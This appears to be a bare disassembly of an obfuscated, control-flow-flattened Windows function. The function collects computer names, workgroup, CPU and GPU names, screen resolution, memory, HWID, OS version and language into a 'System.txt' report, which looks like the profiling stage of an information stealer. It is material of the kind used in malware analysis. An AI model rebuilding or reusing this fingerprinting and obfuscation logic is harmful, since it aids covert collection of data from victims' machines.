mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x44]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x40]
mov ecx, dword [esi + 0x48]
mov edx, dword [esi + 0x14]
mov ebx, dword [esi + 0xfc]
mov dword [edx], ebx
mov edx, dword [esi + 0x14]
mov ebx, dword [esi + 0x100]
mov dword [edx + 4], ebx
mov edx, dword [esi + 0x14]
mov dword [edx + 8], eax
mov eax, dword [esi + 0x14]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x58], edx
mov dword [esi + 4], 0x58a1ac96
jmp 0x428060
mov eax, dword [esi + 0xe4]
mov dword [eax + 0xb], 0x203a6e
mov dword [eax + 8], 0x6e6f6973
mov dword [eax + 4], 0x72655620
mov dword [eax], 0x534f202d
mov dword [esi + 4], 0x4371cbc3
jmp 0x428060
mov eax, dword [esi + 0xd4]
mov eax, dword [eax]
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov dword [esi + 0xdc], eax
mov dword [esi + 4], 0xea1e4123
jmp 0x428060
imul ebx, dword [esi + 8], 0x1ee0000
add ebx, 0xc9f80000
mov dword [esi + 8], ebx
push 0x46f3
push ebx
push 0x638c
call fcn.004273c5
add esp, 0xc
push ebx
call fcn.00428048
add esp, 4
mov eax, 0x293a4e14
cmp ebx, 0xd3
jl 0x42a83d
jmp 0x42a941
imul ebx, dword [esi + 8], 0xc80
mov eax, ebx
shr eax, 8
add eax, 0xac
mov dword [esi + 8], eax
push eax
push 0xf53
push 0x95d
call fcn.004273c5
add esp, 0xc
call fcn.0040560b
mov eax, 0xf998b3fe
cmp ebx, 0x2400
jb 0x42a941
mov eax, 0xc4c9c286
jmp 0x42a941
imul edi, dword [esi + 8], 0xec
mov eax, edi
shr eax, 6
mov dword [esi + 8], eax
call fcn.0040560b
mov eax, 0x25b4543f
cmp edi, 0x2180
jae 0x42a941
mov eax, 0xe8f1218f
jmp 0x42a941
imul ebx, dword [esi + 8], 0xde000
mov dword [esi + 8], ebx
push 0xd8a
push ebx
push 0x51c3
call fcn.004273c5
add esp, 0xc
mov eax, 0xd818de76
cmp ebx, 0x83
jl 0x42a941
mov eax, 0x1ec15ad4
jmp 0x42a941
mov dword [esi + 0x10], 0
mov dword [esi + 4], 0xee3271ef
jmp 0x428060
imul eax, dword [esi + 0x10], 0xaec000
add eax, 0xe2a5bf97
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x27d54627
jmp 0x428060
mov eax, dword [esi + 0x10]
shr eax, 0xb
add eax, 0xffffff72
imul ecx, eax, 0xf6
imul eax, eax
imul edx, eax, 0x3bb1
dec edx
mov dword [esi + 0x10], ecx
mov ecx, 0x3aeee27d
cmp eax, edx
je 0x42a02e
mov ecx, 0x7c840334
jmp 0x42a02e
mov eax, dword [esi + 8]
shl eax, 9
add eax, 0xfffea23f
mov dword [esi + 8], eax
mov dword [esi + 4], 0xd4eb179e
jmp 0x428060
mov eax, dword [esi + 0xcc]
mov eax, dword [eax]
mov dword [esi + 0xd0], eax
mov eax, dword [esi + 0x1c]
add eax, 4
mov dword [esi + 0xd4], eax
mov dword [esi + 4], 0x69f6c253
jmp 0x428060
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x54]
mov dword [esi + 0x10c], eax
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x58]
mov dword [esi + 0x110], eax
mov dword [esi + 4], 0x4c02e121
jmp 0x428060
push 0x55
push dword [esi + 0x88]
push dword [esi + 0x8c]
call fcn.00440493
add esp, 0xc
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xf4], eax
mov dword [esi + 4], 0x14bd0cb5
jmp 0x428060
mov ebx, dword [esi + 8]
add ebx, 0xffffff94
mov dword [esi + 8], ebx
push ebx
call fcn.00428048
add esp, 4
mov eax, 0xab9fbec5
cmp ebx, 0xb
jb 0x42a941
mov eax, 0x84d457ee
jmp 0x42a941
mov ecx, dword [esi + 8]
mov eax, 0xfffff800
and ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x5a2f4ff5
cmp ecx, 0x36
jge 0x42a941
mov eax, 0x31965cbe
jmp 0x42a941
push dword [esi + 0x74]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0x74]
call fcn.0043c186
add esp, 4
push str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.0041d236
add esp, 4
mov dword [esi + 0x78], eax
push dword [esi + 0x78]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
mov dword [esi + 4], 0x681c0f20
jmp 0x428060
mov ecx, dword [esi + 8]
add ecx, 0xffffffc2
mov dword [esi + 8], ecx
mov eax, 0xfbf14b31
cmp ecx, 0xd6
jl 0x42a941
mov eax, 0x4c34006
jmp 0x42a941
mov dword [esi + 4], 0x293a4e14
jmp 0x428060
mov eax, dword [esi + 0xf8]
mov byte [eax + 0xc], 0
mov dword [eax + 8], 0x203a6567
mov dword [eax + 4], 0x6175676e
mov dword [eax], 0x614c202d
push dword [esi + 0x8c]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x783a9b22
jmp 0x428060
mov eax, dword [esi + 0xbc]
mov word [eax], 0xa
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xc0], eax
mov dword [esi + 4], 0xa7d93225
jmp 0x428060
mov eax, dword [esi + 0xc8]
lea eax, [eax*4 + 0x45d0a4]
mov dword [esi + 0xe0], eax
mov dword [esi + 4], 0xb00ced17
jmp 0x428060
imul eax, dword [esi + 0x10], 0xb4
add eax, 0x6810
shr eax, 0xb
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1901
dec edx
add eax, 0xf2
mov dword [esi + 0x10], eax
mov eax, 0xb4d4536b
cmp ecx, edx
je 0x42a941
mov eax, 0xddb15dae
jmp 0x42a941
mov eax, dword [esi + 0x10]
shl eax, 5
add eax, 0xffffdf80
shr eax, 0x15
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x385efa87
jmp 0x428060
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0xb8]
push 0x1c
push str.__ComputerNameDnsHostname:
push eax
call fcn.004321d0
add esp, 0xc
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
mov dword [esi + 4], 0x21102173
jmp 0x428060
imul eax, dword [esi + 8], 0x18e0
add eax, 0xffffff86
mov dword [esi + 8], eax
call fcn.0040560b
call fcn.0040560b
mov dword [esi + 4], 0x1c21ad59
jmp 0x428060
push 2
push 0x55
call fcn.0043b940
add esp, 8
mov dword [esi + 0x88], eax
mov dword [esi + 4], 0xaa7c82f5
jmp 0x428060
mov eax, dword [esi + 0x10]
shr eax, 9
lea ecx, [eax - 0x81]
add eax, 0xffffff4c
imul ecx, ecx
imul edx, ecx, 0x1771
dec edx
mov dword [esi + 0x10], eax
mov eax, 0xfd1ed99f
cmp ecx, edx
je 0x42a941
mov eax, 0xe47e4be3
jmp 0x42a941
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x50]
mov dword [esi + 0x104], eax
mov dword [esi + 4], 0x2b68d8b4
jmp 0x428060
mov eax, dword [esi + 0xe8]
mov word [eax], 0xa
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov dword [ecx + eax], 0x5748202d
mov dword [ecx + eax + 4], 0x203a4449
mov byte [ecx + eax + 8], 0
call fcn.0041bba7
push eax
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
mov dword [esi + 4], 0x67d7b2
jmp 0x428060
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xcde2a732
jmp 0x428060
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
push eax
push dword [esi + 0xc]
push str.System.txt
push dword [ebp + 8]
call fcn.0041979f
add esp, 0x10
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xc4f3998c
jmp 0x428060
push 0x452350
push 0x2f9959e0
call fcn.0042d330
add esp, 8
mov edi, 0x55
push edi
push dword [esi + 0x88]
call eax
push 1
push edi
call fcn.0043b940
add esp, 8
mov dword [esi + 0x8c], eax
mov dword [esi + 4], 0xce2346b8
jmp 0x428060
mov dword [esi + 8], 0x3ffff
mov dword [esi + 4], 0x3bcd4b58
jmp 0x428060
imul ecx, dword [esi + 8], 0x7eae0
add ecx, 0xffbab8d8
mov dword [esi + 8], ecx
mov eax, 0xa53e1d55
cmp ecx, 0xbb
jb 0x42a941
mov eax, 0x729f200d
jmp 0x42a941
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
lea edi, [eax*8 - 0x90]
mov eax, edi
shr eax, 5
mov dword [esi + 8], eax
call fcn.0040560b
mov eax, 0xfd691bec
cmp edi, 0x980
jb 0x42a941
mov eax, 0x14a64970
jmp 0x42a941
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xec], eax
mov dword [esi + 4], 0x521a29f2
jmp 0x428060
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x83112651
jmp 0x428060
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x64]
mov dword [esi + 0x11c], eax
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x68]
mov dword [esi + 0x120], eax
mov dword [esi + 4], 0xd797924a
jmp 0x428060
imul eax, dword [esi + 0x10], 0x1f40
add eax, 0xffffe000
shr eax, 9
add eax, 0xeb
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x6c5bacf
jmp 0x428060
mov dword [esi + 4], 0x55d33f9b
jmp 0x428060
mov eax, dword [esi + 8]
movzx eax, ax
lea ecx, [eax*8 - 0x12]
mov dword [esi + 8], ecx
mov eax, 0x729f200d
cmp ecx, 0x3f
jb 0x42a941
mov eax, 0xa53e1d55
jmp 0x42a941
mov dword [esi + 0x94], 0x8000
push 0x452350
push 0xa2f80070
call fcn.0042d330
add esp, 8
lea ecx, [esi + 0x94]
push ecx
push dword [esi + 0x7c]
call eax
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xa4], eax
mov dword [esi + 4], 0xb3b84475
jmp 0x428060
imul ebx, dword [esi + 8], 0x6e
add ebx, 0xffffdff3
mov eax, ebx
shr eax, 0xc
mov dword [esi + 8], eax
push 0x56d2
push 0x99f
push eax
call fcn.004273c5
add esp, 0xc
mov eax, 0x6c5bacf
cmp ebx, 0xb8000
jb 0x42a941
mov eax, 0xdb7fe5fa
jmp 0x42a941
mov eax, dword [esi + 8]
shl eax, 0xd
add eax, 0xfffffff0
shr eax, 2
mov dword [esi + 8], eax
call fcn.0040560b
call fcn.0040560b
mov dword [esi + 4], 0xe8f1218f
jmp 0x428060
push 0x1e
push str.__Physical_Installed_Memory:
push dword [esi + 0x130]
call fcn.004321d0
add esp, 0xc
push dword [esi + 0x90]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x134], eax
mov dword [esi + 4], 0x32b3c8cc
jmp 0x428060
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x34]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xb8], eax
mov dword [esi + 4], 0xa0869439
jmp 0x428060
imul eax, dword [esi + 8], 0x38800
shr eax, 0x1e
mov dword [esi + 8], eax
mov dword [esi + 4], 0x681c0f20
jmp 0x428060
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x30]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov dword [ecx + eax], 0x6f57202d
mov dword [ecx + eax + 4], 0x72676b72
mov dword [ecx + eax + 8], 0x3a70756f
mov word [ecx + eax + 0xc], 0x20
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xb4], eax
mov dword [esi + 4], 0xc32f5f3a
jmp 0x428060
mov eax, dword [esi + 0x10]
lea ecx, [eax + 0x69]
imul ecx, ecx
imul edx, ecx, 0x314f
dec edx
add eax, 0x15e
mov dword [esi + 0x10], eax
mov eax, 0xa941ac8c
cmp edx, ecx
je 0x42a941
mov eax, 0x260bbb44
jmp 0x42a941
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x50]
mov dword [esi + 0x108], eax
mov dword [esi + 4], 0x8911bf53
jmp 0x428060
imul eax, dword [esi + 0x10], 0x77
add eax, 0xffff9cfd
mov ecx, eax
shr ecx, 0x17
imul eax, eax
imul edx, eax, 0xccd
dec edx
mov dword [esi + 0x10], ecx
mov ecx, 0x723d941a
cmp eax, edx
je 0x42a02e
mov ecx, 0x9fdb67c9
mov dword [esi + 4], ecx
jmp 0x428060
imul ecx, dword [esi + 8], 0x39
add ecx, 0xfffffdff
shr ecx, 8
lea eax, [ecx*8 + 0x66]
shl ecx, 3
mov dword [esi + 8], eax
mov eax, 0xb30fe7f8
cmp ecx, 0x78
jb 0x42a941
mov eax, 0xa6935e71
jmp 0x42a941
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x124]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x11c]
mov dword [eax + 0x28], ecx
mov dword [esi + 4], 0xf6e8e4fa
jmp 0x428060
mov eax, dword [esi + 8]
mov ecx, 0xb0
add eax, ecx
shr eax, 0xe
imul edi, eax, 0x2490
mov dword [esi + 8], edi
push edi
call fcn.00428048
add esp, 4
call fcn.0040560b
mov eax, 0xf84f1a2d
cmp edi, 0x68
jb 0x42a941
mov eax, 0xb360ee17
jmp 0x42a941
mov dword [esi + 4], 0xb7434dc7
jmp 0x428060
imul eax, dword [esi + 8], 0x3b
add eax, 0xffffcc25
shr eax, 5
add eax, 0x7f
mov dword [esi + 8], eax
push eax
push 0x4157
push 0x4732
call fcn.004273c5
add esp, 0xc
call fcn.0040560b
mov dword [esi + 4], 0x3f05df80
jmp 0x428060
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xb0], eax
mov dword [esi + 4], 0x33dae76c
jmp 0x428060
mov dword [esi + 8], 0
mov dword [esi + 4], 0x27d54627
jmp 0x428060
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi + 4], 0xb5726028
jmp 0x428060
imul eax, dword [esi + 0x10], 0x9f90
add eax, 0xffffff2d
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x8792345a
jmp 0x428060
push eax
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi + 4], 0x89170e67
jmp 0x428060
mov ecx, dword [esi + 0x10]
shr ecx, 0xc
mov eax, ecx
shl eax, 7
sub eax, ecx
lea ecx, [eax - 0x24b6]
imul ecx, ecx
imul edx, ecx, 0x1811
dec edx
add eax, 0xffffda88
mov dword [esi + 0x10], eax
mov eax, 0xc6f5211
cmp edx, ecx
je 0x42a941
mov eax, 0xdbb22b17
jmp 0x42a941
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xa4]
mov dword [eax + ecx + 3], 0x203a43
mov dword [eax + ecx], 0x4350202d
push dword [esi + 0x7c]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xa8], eax
mov dword [esi + 4], 0xdd6bf
jmp 0x428060
mov eax, dword [esi + 0x10]
shl eax, 0x15
add eax, 0xfffffffa
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0xfbf14b31
jmp 0x428060
xor eax, eax
mov dword [esi + 8], eax
push 0x2716
push 0x8a4
push eax
call fcn.004273c5
add esp, 0xc
mov dword [esi + 4], 0x9fdb67c9
jmp 0x428060
imul ebx, dword [esi + 8], 0x16200
mov dword [esi + 8], ebx
push ebx
call fcn.00428048
add esp, 4
push ebx
call fcn.00428048
add esp, 4
mov eax, 0xf39a69d
test ebx, ebx
je 0x42a941
mov eax, 0x1ef00048
jmp 0x42a941
push dword [esi + 0x1c]
call fcn.0042f39c
add esp, 4
mov dword [esi + 0xc8], eax
push 1
push 0x800
call fcn.0043b940
add esp, 8
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x1c]
add eax, 8
mov dword [esi + 0xcc], eax
mov dword [esi + 4], 0xf05b0e6
jmp 0x428060
mov eax, dword [esi + 8]
shl eax, 0xb
or eax, 0x75
imul eax, eax, 0x5e40
add eax, 0xffffffab
mov dword [esi + 8], eax
call fcn.0040560b
call fcn.0040560b
mov dword [esi + 4], 0x465585f3
jmp 0x428060
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x20], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
mov edi, str.user32.dll
push edi
mov ebx, 0x3d95e230
push ebx
call fcn.0042d330
add esp, 8
push 0
call eax
mov dword [esi + 0x98], eax
push edi
push ebx
call fcn.0042d330
add esp, 8
mov dword [esi + 0x9c], eax
mov dword [esi + 4], 0x410b6d0d
jmp 0x428060
mov eax, dword [esi + 0x9c]
xor edi, edi
inc edi
push edi
call eax
mov dword [esi + 0xa0], eax
push edi
push 0x20
call fcn.0043b940
add esp, 8
mov dword [esi + 0x6c], eax
mov dword [esi + 4], 0xa8c75e36
jmp 0x428060
imul ebx, dword [esi + 8], 0x52
mov eax, ebx
shr eax, 0xc
mov dword [esi + 8], eax
push eax
call fcn.00428048
add esp, 4
mov eax, 0x52dce113
cmp ebx, 0xb4000
jb 0x42a941
mov eax, 0x2756e91f
jmp 0x42a941
imul eax, dword [esi + 8], 0x56
add eax, 0xffffab64
mov dword [esi + 8], eax
mov dword [esi + 4], 0xca62c2b2
jmp 0x428060
imul ecx, dword [esi + 8], 0x65010
add ecx, 0xffb43f72
mov eax, ecx
shr eax, 4
mov dword [esi + 8], eax
mov eax, 0x27d54627
cmp ecx, 0xaf0
jae 0x42a941
mov eax, 0x769bf18c
jmp 0x42a941
mov eax, 0xc0000000
mov dword [esi + 8], eax
push eax
push 0x87d
push 0x6231
call fcn.004273c5
add esp, 0xc
mov dword [esi + 4], 0xdd6bf
jmp 0x428060
imul eax, dword [esi + 8], 0x1bc000
add eax, 0xfe5bb269
mov dword [esi + 8], eax
push eax
call fcn.00428048
add esp, 4
mov dword [esi + 4], 0x741bc2e2
jmp 0x428060
mov eax, dword [esi + 8]
lea ecx, [eax + eax*2]
shl ecx, 3
sub ecx, eax
add ecx, 0xfffffe4f
mov dword [esi + 8], ecx
mov eax, 0xfbf14b31
cmp ecx, 2
jl 0x42a5e9
jmp 0x42a941
imul eax, dword [esi + 8], 0x13b4
add eax, 0xcd9e3
mov dword [esi + 8], eax
call fcn.0040560b
mov dword [esi + 4], 0x6351186d
jmp 0x428060
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xec]
mov word [eax + ecx], 0xa
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
push 0x15
push str.__Screen_Resoluton:
push eax
call fcn.004321d0
add esp, 0xc
push dword [esi + 0x6c]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], pe_nt_image_headers32
push dword [esi + 0x70]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
mov dword [esi + 4], 0x482f1844
jmp 0x428060
mov eax, dword [esi + 0x10]
mov ecx, 0xffffff42
add eax, ecx
mov ecx, eax
imul ecx, eax
shr eax, 6
imul edx, ecx, 0x298b
dec edx
imul eax, eax, 0x7a
mov dword [esi + 0x10], eax
mov eax, 0xd1d22a06
cmp ecx, edx
je 0x42a941
mov eax, 0xd679a096
jmp 0x42a941
imul eax, dword [esi + 0x10], 0x18f0000
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x2ed4b61f
jmp 0x428060
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x134]
mov dword [eax + ecx], 0xa424d
mov dword [esi + 4], 0x50f6307b
jmp 0x428060
mov eax, dword [esi + 0x10]
shl eax, 6
add eax, 0xffffdb40
shr eax, 0x13
add eax, 0xf9
shr eax, 4
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x4bded57
jmp 0x428060
mov dword [esi + 4], 0xec46feb8
jmp 0x428060
imul eax, dword [esi + 0x10], 0x2b00
add eax, 0x6ac
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x939409e9
jmp 0x428060
imul ecx, dword [esi + 8], 0x18c0
mov dword [esi + 8], ecx
mov eax, 0xa18d186b
cmp ecx, 0xc8
jl 0x42a941
mov eax, 0x293a4e14
jmp 0x42a941
imul ebx, dword [esi + 8], 0x32
add ebx, 0xffffffbe
mov edi, ebx
shr edi, 1
mov dword [esi + 8], edi
push edi
push 0x1ae1
push 0x53f5
call fcn.004273c5
add esp, 0xc
push edi
call fcn.00428048
add esp, 4
mov eax, 0x4733401a
cmp ebx, 0x17e
jb 0x42a941
mov eax, 0x5e8de54a
jmp 0x42a941
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov dword [ecx + eax], 0x5043202d
mov dword [ecx + eax + 4], 0x614e2055
mov dword [ecx + eax + 8], 0x203a656d
mov byte [ecx + eax + 0xc], 0
mov dword [esi + 4], 0x37c947d6
jmp 0x428060
imul ebx, dword [esi + 8], 0x3880
add ebx, 0x282b00
mov dword [esi + 8], ebx
push 0x1745
push ebx
push 0x83f
call fcn.004273c5
add esp, 0xc
push ebx
call fcn.00428048
add esp, 4
mov eax, 0x9fdb67c9
cmp ebx, 0x90
jb 0x42a941
mov eax, 0xa963abec
jmp 0x42a941
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x34], eax
mov dword [esi + 4], 0x1ec15ad4
jmp 0x428060
mov dword [esi + 4], 0x671ff552
jmp 0x428060
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0xc4], eax
mov dword [esi + 4], 0x5cb6e665
jmp 0x428060
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x60]
mov dword [esi + 0x118], eax
mov dword [esi + 4], 0x5f4319e1
jmp 0x428060
mov eax, dword [esi + 0x10]
add eax, 0xffffffaf
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6243
shl eax, 0xe
dec edx
mov dword [esi + 0x10], eax
mov eax, 0x9fdb8c01
cmp edx, ecx
je 0x42a941
mov eax, 0x2d3645e5
jmp 0x42a941
mov edi, 0xa
push edi
push dword [esi + 0x6c]
push dword [esi + 0x98]
call fcn.0043a1c8
add esp, 0xc
push edi
push dword [esi + 0x70]
push dword [esi + 0xa0]
call fcn.0043a1c8
add esp, 0xc
push 1
push 0x4000
call fcn.0043b940
add esp, 8
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb2fbf1fe
jmp 0x428060
mov eax, dword [esi + 8]
shr eax, 0x11
lea eax, [eax + eax*8]
lea ebx, [eax*8 - 0x3180]
shr ebx, 6
add ebx, 0xffffff27
mov dword [esi + 8], ebx
push ebx
call fcn.00428048
add esp, 4
push 0xbfb
push ebx
push 0x2c06
call fcn.004273c5
add esp, 0xc
mov eax, 0xe8f1218f
cmp ebx, 0x37
je 0x42a941
mov eax, 0x4bded57
jmp 0x42a941
imul eax, dword [esi + 8], 0x1be000
add eax, 0xee406000
shr eax, 2
or eax, 0x83
mov dword [esi + 8], eax
mov dword [esi + 4], 0x3e8274d3
jmp 0x428060
push dword [esi + 0x84]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xe8], eax
mov dword [esi + 4], 0xdd15db0d
jmp 0x428060
mov eax, dword [esi + 0x10]
shl eax, 0xa
add eax, 0xffffffd5
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x7576378
jmp 0x428060
mov eax, dword [esi + 8]
shl eax, 6
lea ecx, [eax + eax*8]
and ecx, 0xfffffc00
add ecx, 0xffffff04
mov eax, ecx
shr eax, 0xf
mov dword [esi + 8], eax
mov eax, 0x7576378
cmp ecx, 0x450000
jae 0x42a941
mov eax, 0x72c45320
jmp 0x42a941
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xb0]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x14e076b
jmp 0x428060
push 1
mov edi, 0x8000
push edi
call fcn.0043b940
add esp, 8
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x28]
mov dword [eax], edi
push str.advapi32.dll
push 0x23fef64a
call fcn.0042d330
add esp, 8
mov dword [esi + 0xac], eax
mov dword [esi + 4], 0xb2cc851a
jmp 0x428060
mov dword [esi + 4], 0x5aed916e
jmp 0x428060
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0xc0]
push 0x18
push str.__ComputerNameNetBIOS:
push eax
call fcn.004321d0
add esp, 0xc
mov dword [esi + 4], 0x6870efa2
jmp 0x428060
mov eax, dword [esi + 8]
and eax, 0xfffffff0
shl eax, 5
lea eax, [eax + eax*8]
lea eax, [eax*8 - 0x2cb8]
shr eax, 0xf
imul ebx, eax, 0x35
mov dword [esi + 8], ebx
push ebx
push 0x2b70
push 0x5c0d
call fcn.004273c5
add esp, 0xc
call fcn.0040560b
mov eax, 0x7ccb0544
cmp ebx, 0xf3
jb 0x42a941
mov eax, 0x67d7b2
jmp 0x42a941
mov edi, dword [esi + 8]
shl edi, 0xa
mov dword [esi + 8], edi
push edi
call fcn.00428048
add esp, 4
mov eax, 0xd5aed48d
cmp edi, 0xd5
jge 0x42a941
mov eax, 0x366131e
mov dword [esi + 4], eax
jmp 0x428060
push 1
push 0x20
call fcn.0043b940
add esp, 8
mov dword [esi + 0x70], eax
mov dword [esi + 4], 0x5e8de54a
jmp 0x428060
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x2c], eax
push eax
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
mov dword [esi + 4], 0x25b4543f
jmp 0x428060
push 0x1a4
push 0
push dword [esi + 0x128]
call fcn.00432cd0
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
mov dword [esi + 4], 0x76467f4f
jmp 0x428060
xor edi, edi
push edi
push dword [esi + 0x20]
push edi
push edi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov dword [ecx + eax + 4], 0x203a55
mov dword [ecx + eax], 0x5047202d
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x24]
mov dword [eax + 4], edi
mov dword [eax], edi
push 0x452350
push 0x5f086d32
call fcn.0042d330
add esp, 8
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0x1a6735c0
jmp 0x428060
cmp eax, 0x72d24bce
jne 0x428060
mov eax, dword [esi + 0x28]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret